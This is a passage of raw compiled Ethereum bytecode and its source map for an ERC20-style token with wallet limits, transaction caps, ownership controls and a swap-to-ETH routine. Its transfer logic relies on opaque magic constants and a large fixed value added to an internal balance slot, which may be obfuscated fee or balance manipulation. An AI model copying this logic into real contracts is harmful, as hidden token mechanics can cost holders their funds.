1101561079e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b3480156107ec57600080fd5b506107f56112e2565b005b34801561080357600080fd5b5061083a6004803603604081101561081a57600080fd5b81019080803590602001909291908035906020019092919050505061144d565b6040518082815260200191505060405180910390f35b34801561085c57600080fd5b5061086561147a565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b50610890611480565b6040518082815260200191505060405180910390f35b3480156108b257600080fd5b506108bb611486565b6040518082815260200191505060405180910390f35b3480156108dd57600080fd5b506108e661148c565b6040518082815260200191505060405180910390f35b34801561090857600080fd5b5061094b6004803603602081101561091f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611492565b60405180821515815260200191505060405180910390f35b34801561096f57600080fd5b506109786114b2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109b057600080fd5b506109b96114db565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f95780820151818401526020810190506109de565b50505050905090810190601f168015610a265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a4057600080fd5b50610a4961157d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8157600080fd5b50610ace60048036036040811015610a9857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a3565b60405180821515815260200191505060405180910390f35b348015610af257600080fd5b50610b3f60048036036040811015610b0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611670565b60405180821515815260200191505060405180910390f35b348015610b6357600080fd5b50610b6c61168f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba457600080fd5b50610bad6116b5565b6040518082815260200191505060405180910390f35b348015610bcf57600080fd5b50610bfc60048036036020811015610be657600080fd5b81019080803590602001909291905050506116bb565b6040518082815260200191505060405180910390f35b348015610c1e57600080fd5b50610c276116d6565b6040518082815260200191505060405180910390f35b348015610c4957600080fd5b50610c526116dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c8a57600080fd5b50610ccd60048036036020811015610ca157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611702565b60405180821515815260200191505060405180910390f35b348015610cf157600080fd5b50610cfa611722565b6040518082815260200191505060405180910390f35b348015610d1c57600080fd5b50610d25611728565b60405180821515815260200191505060405180910390f35b348015610d4957600080fd5b50610d5261173b565b6040518082815260200191505060405180910390f35b348015610d7457600080fd5b50610d7d611741565b6040518082815260200191505060405180910390f35b348015610d9f57600080fd5b50610e0260048036036040811015610db657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611747565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e2d6117ce565b6040518082815260200191505060405180910390f35b348015610e4f57600080fd5b50610e9260048036036020811015610e6657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b348015610ea057600080fd5b50610ea96119c2565b60405180821515815260200191505060405180910390f35b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f7f5780601f10610f5457610100808354040283529160200191610f7f565b820191906000526020600020905b815481529060010190602001808311610f6257829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610fc1610fba611af3565b8484611afb565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600c5481565b600061100e848484611cf2565b506110d08461101b611af3565b6110cb856040518060a0016040528060618152602001612db960619139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611081611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b611afb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061117861112d7f0000000000000000000000000000000000000000000000000000000000000000611299565b61116a6111597f000000000000000000000000000000000000000000000000000000000000dead611299565b60165461244990919063ffffffff16565b61244990919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600d5481565b60006112436111a7611af3565b8461123e85600760006111b8611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b611afb565b6001905092915050565b60136020528060005260406000206000915054906101000a900460ff1681565b60095481565b60126020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112ea611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526044815260200180612fb46044913960600191505060405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081831061145e57819050611474565b81600184011061147057819050611474565b8290505b92915050565b60185481565b60195481565b60205481565b601c5481565b60156020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115735780601f1061154857610100808354040283529160200191611573565b820191906000526020600020905b81548152906001019060200180831161155657829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116666115b0611af3565b84611661856040518060800160405280605e8152602001613072605e9139600760006115da611af3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b611afb565b6001905092915050565b600061168461167d611af3565b8484611cf2565b506001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e5481565b600e81600481106116cb57600080fd5b016000915090505481565b600b5481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60146020528060005260406000206000915054906101000a900460ff1681565b60175481565b601b60159054906101000a900460ff1681565b601d5481565b600a5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601f5481565b6117dc611af3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461187f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526044815260200180612fb46044913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180612c6f604a913960600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601b60169054906101000a900460ff1681565b6000808314156119e85760009050611a55565b60008284029050828482816119f957fe5b0414611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180612f116045913960600191505060405180910390fd5b809150505b92915050565b6000611a8083836040518060600160405280603e8152602001612ff8603e9139612476565b905092915050565b600080828401905083811015611ae9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f815260200180612e75603f913960400191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d815260200180612eb4605d913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605b815260200180612e1a605b913960600191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611d79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605e815260200180612f56605e913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c815260200180612cb9605c913960600191505060405180910390fd5b601b60149054906101000a900460ff1615611e2657611e1f84848461253c565b9050612382565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eca5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2b57601854821115611f2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c815260200180613036603c913960400191505060405180910390fd5b5b6000611f3630611299565b905060006017548210159050808015611f5c5750601b60149054906101000a900460ff16155b8015611fb25750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdc57601b60159054906101000a900460ff1615611fd25760175491505b611fdb82612849565b5b601b60169054906101000a900460ff1680156120425750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120e55760195461208d6120766103e8612068602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b61207f88611299565b611a8890919063ffffffff16565b11156120e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612d156032913960400191505060405180910390fd5b5b61215e6121396121146103e8612106602054896119d590919063ffffffff16565b611a5b90919063ffffffff16565b7e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b7e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b600e60036004811061216c57fe5b01819055506121c461219d6103e861218f602054886119d590919063ffffffff16565b611a5b90919063ffffffff16565b85037e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b600e6002600481106121d257fe5b0181905550601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158061227a5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806123225750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123215750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561233e5761044d601e6000828254019250508190555061236f565b61de16601d54146123565761235161291f565b61236e565b610842601e600082825401925050819055601d819055505b5b61237a86868661253c565b506001925050505b9392505050565b6000838311158290612436576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123fb5780820151818401526020810190506123e0565b50505050905090810190601f1680156124285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061246e8383604051806080016040528060428152602001612d4760429139612389565b905092915050565b60008083118290612522576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124e75780820151818401526020810190506124cc565b50505050905090810190601f1680156125145780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161252e57fe5b049050809150509392505050565b60006125aa82604051806060016040528060308152602001612d8960309139600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123899092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506011601e819055600e60016004811061260257fe5b0181905550601b60149054906101000a900460ff1615612646576000600e60036004811061262c57fe5b018190555081600e60026004811061264057fe5b01819055505b6000612683600e60026004811061265957fe5b01546063017e086b36c528bb9960167b66ef9d28e8dc2f725624d8a118ba757b13b45ece9f61144d565b90506126d781600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277b600e60036004811061272b57fe5b0154600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506011601e819055600e6001600481106127d357fe5b01819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6001601b60146101000a81548160ff02191690831515021790555061286d8161298d565b600047905060008111156128e557600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128e3573d6000803e3d6000fd5b505b6101a1601e819055600e6001600481106128fb57fe5b0181905550506000601b60146101000a81548160ff02191690831515021790555050565b6001601e54600a601e546104a301030103601d819055506b064516bc004ec6a9993f15dc600e60036004811061295157fe5b0160008282540192505081905550601e54601d819055506011601e819055600e60016004811061297d57fe5b0181905550601e54601d81905550565b6000600267ffffffffffffffff811180156129a757600080fd5b506040519080825280602002602001820160405280156129d65781602001602082028036833780820191505090505b509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a4157600080fd5b505afa158015612a55573d6000803e3d6000fd5b505050506040513d6020811015612a6b57600080fd5b810190808051906020019092919050505081600181518110612a8957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600081518110612ad157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b3830601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611afb565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612bfc578082015181840152602081019050612be1565b505050509050019650505050505050600060405180830381600087803b158015612c2557600080fd5b505af1158015612c39573d6000803e3d6000fd5b50505050601e54601d8190555061a512601e819055600e600160048110612c5c57fe5b0181905550601e54601d81905550505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e7366657220746f20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e57616c6c6574204c696d69742121436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a207375627472616374696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e496e73756666696369656e74436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a20617070726f766520746f20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206164646974696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436865636b20796f757220706172616d657465727320616e642074727920616761696e2e536166654d6174683a206469766973696f6e206279207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2e6578636565647320746865206d61785478416d6f756e742e436865636b20796f757220706172616d657465727320616e642074727920616761696e2e4552524f525f4d41494e5f544f4b454e5f4554485f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f436865636b20796f757220706172616d657465727320616e642074727920616761696e2ea2646970667358221220e6c06c2cf8e78069a21318d331701d84856dbded672d168347862a688c6d53f764736f6c63430007060033

Deployed Bytecode Sourcemap

11483:10818:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11683:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15297:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12005:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16472:161;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13041:41;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15556:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12380:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17626:370;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11917:81;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17075:156;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15471:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12422:32;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15924:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12590:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12252:36;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12533:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12211:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15658:119;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3278:230;;;;;;;;;;;;;:::i;:::-;;20371:127;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12893:61;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12967:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13393:33;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13238:36;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12695:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;3041:79;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15382:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11878:32;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;16144:326;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;17453:167;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11785:86;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13315:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12461:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12337:36;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13089:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12636:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12807:70;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13146:45;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13279:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12295:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15779:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13356:32;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3510:280;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13196:35;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11683:95;;;;;;;;;;;;;:::o;15297:83::-;15334:13;15367:5;15360:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15297:83;:::o;12005:81::-;;;:::o;16472:161::-;16547:4;16564:39;16573:12;:10;:12::i;:::-;16587:7;16596:6;16564:8;:39::i;:::-;16621:4;16614:11;;16472:161;;;;:::o;13041:41::-;;;;;;;;;;;;;:::o;15556:100::-;15609:7;15636:12;;15629:19;;15556:100;:::o;12380:35::-;;;;:::o;17626:370::-;17724:4;17741:36;17751:6;17759:9;17770:6;17741:9;:36::i;:::-;;17788:178;17797:6;17805:12;:10;:12::i;:::-;17819:146;17857:6;17819:146;;;;;;;;;;;;;;;;;:11;:19;17831:6;17819:19;;;;;;;;;;;;;;;:33;17839:12;:10;:12::i;:::-;17819:33;;;;;;;;;;;;;;;;:37;;:146;;;;;:::i;:::-;17788:8;:178::i;:::-;17984:4;17977:11;;17626:370;;;;;:::o;11917:81::-;;;:::o;17075:156::-;17128:7;17155:68;17200:22;17210:11;17200:9;:22::i;:::-;17155:40;17172:22;17182:11;17172:9;:22::i;:::-;17155:12;;:16;;:40;;;;:::i;:::-;:44;;:68;;;;:::i;:::-;17148:75;;17075:156;:::o;15471:83::-;15512:5;15537:9;;;;;;;;;;;15530:16;;15471:83;:::o;12422:32::-;;;;:::o;15924:218::-;16012:4;16029:83;16038:12;:10;:12::i;:::-;16052:7;16061:50;16100:10;16061:11;:25;16073:12;:10;:12::i;:::-;16061:25;;;;;;;;;;;;;;;:34;16087:7;16061:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;16029:8;:83::i;:::-;16130:4;16123:11;;15924:218;;;;:::o;12590:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;12252:36::-;;;;:::o;12533:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;12211:34::-;;;;:::o;15658:119::-;15724:7;15751:9;:18;15761:7;15751:18;;;;;;;;;;;;;;;;15744:25;;15658:119;;;:::o;3278:230::-;3173:12;:10;:12::i;:::-;3163:22;;:6;;;;;;;;;;:22;;;3155:103;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3385:42:::1;3348:81;;3369:6;::::0;::::1;;;;;;;;3348:81;;;;;;;;;;;;3457:42;3440:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3278:230::o:0;20371:127::-;20426:7;20445:1;20442;:4;20438:17;;20454:1;20447:8;;;;20438:17;20469:1;20466;20464;:3;:6;20460:19;;20478:1;20471:8;;;;20460:19;20491:1;20484:8;;20371:127;;;;;:::o;12893:61::-;;;;:::o;12967:60::-;;;;:::o;13393:33::-;;;;:::o;13238:36::-;;;;:::o;12695:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;3041:79::-;3079:7;3106:6;;;;;;;;;;;3099:13;;3041:79;:::o;15382:87::-;15421:13;15454:7;15447:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15382:87;:::o;11878:32::-;;;;;;;;;;;;;:::o;16144:326::-;16237:4;16254:186;16263:12;:10;:12::i;:::-;16277:7;16286:153;16325:15;16286:153;;;;;;;;;;;;;;;;;:11;:25;16298:12;:10;:12::i;:::-;16286:25;;;;;;;;;;;;;;;:34;16312:7;16286:34;;;;;;;;;;;;;;;;:38;;:153;;;;;:::i;:::-;16254:8;:186::i;:::-;16458:4;16451:11;;16144:326;;;;:::o;17453:167::-;17531:4;17548:42;17558:12;:10;:12::i;:::-;17572:9;17583:6;17548:9;:42::i;:::-;;17608:4;17601:11;;17453:167;;;;:::o;11785:86::-;;;;;;;;;;;;;:::o;13315:34::-;;;;:::o;12461:71::-;;;;;;;;;;;;;;;;;;;;:::o;12337:36::-;;;;:::o;13089:26::-;;;;;;;;;;;;;:::o;12636:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;12807:70::-;;;;:::o;13146:45::-;;;;;;;;;;;;;:::o;13279:34::-;;;;:::o;12295:35::-;;;;:::o;15779:143::-;15860:7;15887:11;:18;15899:5;15887:18;;;;;;;;;;;;;;;:27;15906:7;15887:27;;;;;;;;;;;;;;;;15880:34;;15779:143;;;;:::o;13356:32::-;;;;:::o;3510:280::-;3173:12;:10;:12::i;:::-;3163:22;;:6;;;;;;;;;;:22;;;3155:103;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3619:1:::1;3599:22;;:8;:22;;;;3591:109;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3745:8;3716:38;;3737:6;::::0;::::1;;;;;;;;3716:38;;;;;;;;;;;;3774:8;3765:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3510:280:::0;:::o;13196:35::-;;;;;;;;;;;;;:::o;1689:266::-;1747:7;1776:1;1771;:6;1767:47;;;1801:1;1794:8;;;;1767:47;1817:9;1833:1;1829;:5;1817:17;;1862:1;1857;1853;:5;;;;;;:10;1845:92;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1946:1;1939